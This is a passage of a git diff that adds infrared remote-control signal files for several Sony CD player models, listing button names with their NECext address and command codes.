+protocol: NECext +address: 51 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 39 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3D 00 00 00 +# +name: DISK_SKIP_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3E 00 00 00 +# +name: DISK_SKIP_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3E 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4B 00 00 00 +# +name: BLOCK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir new file mode 100644 index 000000000..0be68fe3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir new file mode 100644 index 000000000..42ac7c291 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir @@ -0,0 +1,986 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1/&!? +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5/JKL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: TRACK_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7/PRS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9/WXY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: CLEAR_PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: CLEAR_REPEAT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: TRACK_17 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: TRACK_18 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: LINE_OUT_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE_LEVEL_OUT_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE_VOL_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE_OUT_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: LINE_LEVEL_OUT_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: LINE_VOL_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 15 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: TRAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 16 00 00 00 +# +name: TRACK_19 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: SORT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: CONTINUE_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: SINGLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1E 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: PROGRAM_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 10/0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 10/0/QZ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TRACK_11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TRACK_12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: TRACK_13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: TRACK_14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: TRACK_15 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TRACK_16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: >20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT/SPACE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: TRACK_20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: 20 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: A_-_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: CLEAR_REPEAT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: <<_TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: AMS<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: Z_-_TRACK_(_-_) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: >>_TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: AMS>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: Z_-_TRACK_(_+_) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: <<_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: <<_SCAN_FAST +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: >>_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: >>_SCAN_FAST +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: SHUFFLE_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: INDEX_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 36 00 00 00 +# +name: INDEX_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 37 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: SLOW_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3A 00 00 00 +# +name: SLOW_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3B 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: DISK_SKIP_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISK_SKIP_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: HIGH-LIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: DISC1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: DISC2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: DISC3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: DISC4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: DISC5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: DISC_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: DISC_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: DISC_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 48 00 00 00 +# +name: DISC_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 49 00 00 00 +# +name: DISC/CAPS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: DISC_(CAPS) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: TRACK_(SPACE) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: GROUP_(DELETE) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: HIT_LIST +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: FADER/DEL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6B 00 00 00 +# +name: MEGA_NO_DELAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: MEGA_CONTROL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: PLAYER_SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: MEGA_X-FADE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir new file mode 100644 index 000000000..8281653ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: 1/&!? +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 00 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 01 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 02 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 03 00 00 00 +# +name: 5/JKL +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 04 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 05 00 00 00 +# +name: 7/PRS +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 06 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 07 00 00 00 +# +name: 9/WXY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0F 00 00 00 +# +name: LINE_LEVEL_OUT_+ +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 12 00 00 00 +# +name: LINE_LEVEL_OUT_- +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 15 00 00 00 +# +name: CONTINUE_PLAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1D 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM_PLAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1F 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1F 00 00 00 +# +name: 10/0/QZ +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 27 00 00 00 +# +name: TIME/TEXT/SPACE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 28 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 30 00 00 00 +# +name: <<_TRACK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 30 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 31 00 00 00 +# +name: >>_TRACK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 33 00 00 00 +# +name: <<_SCAN +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 34 00 00 00 +# +name: >>_SCAN +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE_PLAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 35 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 39 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3C 00 00 00 +# +name: DISK_SKIP_- +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3D 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3D 00 00 00 +# +name: DISK_SKIP_+ +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3E 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3E 00 00 00 +# +name: HIGH-LIGHT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3F 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3F 00 00 00 +# +name: DISC/CAPS +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4A 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4B 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4C 00 00 00 +# +name: FADER/DEL +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 5F 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 6B 00 00 00 +# +name: MEGA_NO_DELAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 6E 00 00 00 +# +name: MEGA_CONTROL +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 6F 00 00 00 +# +name: MEGA_X-FADE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir new file mode 100644 index 000000000..439e13c96 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir @@ -0,0 +1,416 @@ +Filetype: IR signals file +Version: 1 +# +name: 1/&!? +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 00 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 01 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 5/JKL +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 7/PRS +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 9/WXY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0F 00 00 00 +# +name: LINE_LEVEL_OUT_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 12 00 00 00 +# +name: LINE_LEVEL_OUT_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 15 00 00 00 +# +name: CONTINUE_PLAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1D 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM_PLAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 +# +name: 10/0/QZ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 27 00 00 00 +# +name: TIME/TEXT/SPACE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 28 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 2C 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 30 00 00 00 +# +name: <<_TRACK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 30 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 31 00 00 00 +# +name: >>_TRACK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 33 00 00 00 +# +name: <<_SCAN 